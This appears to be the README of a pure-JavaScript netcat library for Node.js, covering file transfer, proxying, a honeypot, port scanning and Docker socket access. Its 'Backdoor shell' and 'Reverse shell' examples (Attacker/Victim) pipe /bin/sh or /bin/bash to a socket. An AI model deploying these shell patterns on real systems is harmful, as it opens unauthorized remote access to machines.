netcat

Netcat client and server modules written in pure Javascript for Node.js.

This module implements all the basic netcat's features. To use as standalone tool install the nc package.

Linux	Mac OS	Windows
✅	✅	✅

Enhancement

Crypto.
Authentication (.auth('pass')).
allow & deny specific remote IP-address.

Install

$ npm install --save netcat

Usage

const NetcatServer = require('netcat/server')
const NetcatClient = require('netcat/client')
const nc = new NetcatServer()
const nc2 = new NetcatClient()

Examples

JS API	CLI equivalent
`nc.port(2389).listen()`	`nc -l -p 2389`

Server and Client connection

Server	Client
`nc.port(2389).listen()`	`nc2.addr('127.0.0.1').port(2389).connect()`

Transfer file

Server	Client
`nc.port(2389).listen().pipe(outputStream)`	`inputStream.pipe(nc2.port(2389).connect().stream())`

or viceversa you can do the equivalent of nc -l -p 2389 < filename.txt and when someone else connects to your port 2389, the file is sent to them whether they wanted it or not:

Server	Client
`nc.port(2389).serve('filename.txt').listen()`	`nc2.port(2389).connect().pipe(outputStream)`

Keepalive connection

Server	Client
`nc.port(2389).k().listen()`	`inputStream.pipe(nc2.port(2389).connect().stream())`

The server will be kept alive and not being closed after the first connection. (k() is an alias for keepalive())

Serve raw buffer

Server	Client
`nc.port(2389).listen().serve(Buffer.from('Hello World'))`	`nc2.port(2389).connect().on('data', console.log)`

Backdoor shell

Server	Client
`nc.port(2389).listen().exec('/bin/bash')`	`process.stdin.pipe( nc2.addr('127.0.0.1').port(2389).connect().pipe(process.stdout).stream() )`

The exec() method execute the given command and pipe together his stdout and stderr with the clients socket.

Reverse shell

Attacker	Victim
`nc.port(2389).listen().serve(process.stdin).pipe(process.stdout)`	`nc2.addr('127.0.0.1').port(2389) .retry(5000).connect().exec('/bin/sh')`

Netcat as a proxy

Netcat can be very easily configured as a proxy server:

var nc = new NetcatServer()
var nc2 = new NetcatClient()
nc2.addr('google.com').port(80).connect()
nc.port(8080).k().listen().proxy(nc2.stream())

All the traffic flowing on localhost:8080 will be redirected to google.com:80. Similarly you can setup a port forwarding using the same host.

Honeypot

Pretend to be an Apache server:

var apache = `HTTP/1.1 200 OK
Date: Sat, 27 May 2017 16:51:02 GMT
Server: Apache/2.4.7 (Ubuntu)
Cache-Control: public, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 16894
Vary: Accept-Encoding
`
var nc = new NetcatServer()
var logFile = fs.createWriteStream('log.txt')
nc.port(80).k().listen().serve(Buffer.from(apache)).pipe(logFile)

Port scanning

The netcat client provides also a basic port scan functionality.

var nc = new NetcatClient()
nc.addr('127.0.0.1').scan('22-80', function(ports){
 // ports: { '22': 'open', '23': 'closed' ... }
})

The port scanner is TCP protocol only. The UDP scan is not really effective. scan(...) accepts also an array or a integer number.

Connect to a UNIX sock file

Both the Netcat server and client supports the UNIX socket conn. Let's use our Netcat client instance to connect to the Docker unix socket file and retrieve the list of our containers' images.

nc2.unixSocket('/var/run/docker.sock').enc('utf8')
  .on('data', function(res){
    console.log(res)
  })
  .connect()
  .send('GET /images/json HTTP/1.0\r\n\r\n')

API

`port(<port>)`

Netcat can bind to any local port, subject to privilege restrictions and ports that are already in use.

`unixSocket(path)` (TCP only)

Optionally you can provide the path to a unix sock file and listen/connect to it.

`enc()`

Set an encoding. The most common ones are: utf8, ascii, base64, hex, binary, hex.

`keepalive()` or `k()`

When you set the keepalive, the server will stay up and possibly the outStream given to pipe(outStream) kept open.

By default in UDP mode the listen is kept alive until an explicit nc.close().

The serve method accepts either a string (indicating a file name), a Readable stream or a Buffer. When you pass a readable stream the keepalive method could cause the stream to be consumed at the first request and no more can be served (The stream is not cached in a buffer).

`exec()`

The exec() method execute the given command and pipe together his stdout and stderr with the clients socket. It accepts a string and an array of args as second param. If a pipe char is found | then all the commands will be processed under a sh -c.

Example:

nc.p(2389).exec('base64', ['-d']).listen()
// OR
nc.p(2389).exec('base64 | grep hello').listen()

`bind(<port>)`

UDP-only method. Let the UDP client/server listen on the given port. It will also be used as outgoing port if .port(<n>) wasn't called.

Events

The netcat server extends the EventEmitter class. You'll be able to catch some events straight from the sockets. For example the data event:

Server	Client
`nc.port(2389).listen().on('data', onData)`	`inputStream.pipe(nc2.port(2389).connect().stream())`

function onData (socket, chunk) {
  console.log(socket.id, 'got', chunk) // Buffer <...>
}

CLI usage

For the standalone usage install the nc CLI package:

$ npm install -g nc

Example:

$ # Listen for inbound
$ nc -l -p port [- options] [hostname] [port]

Available options:

rubythonode / netcat Goto Github PK

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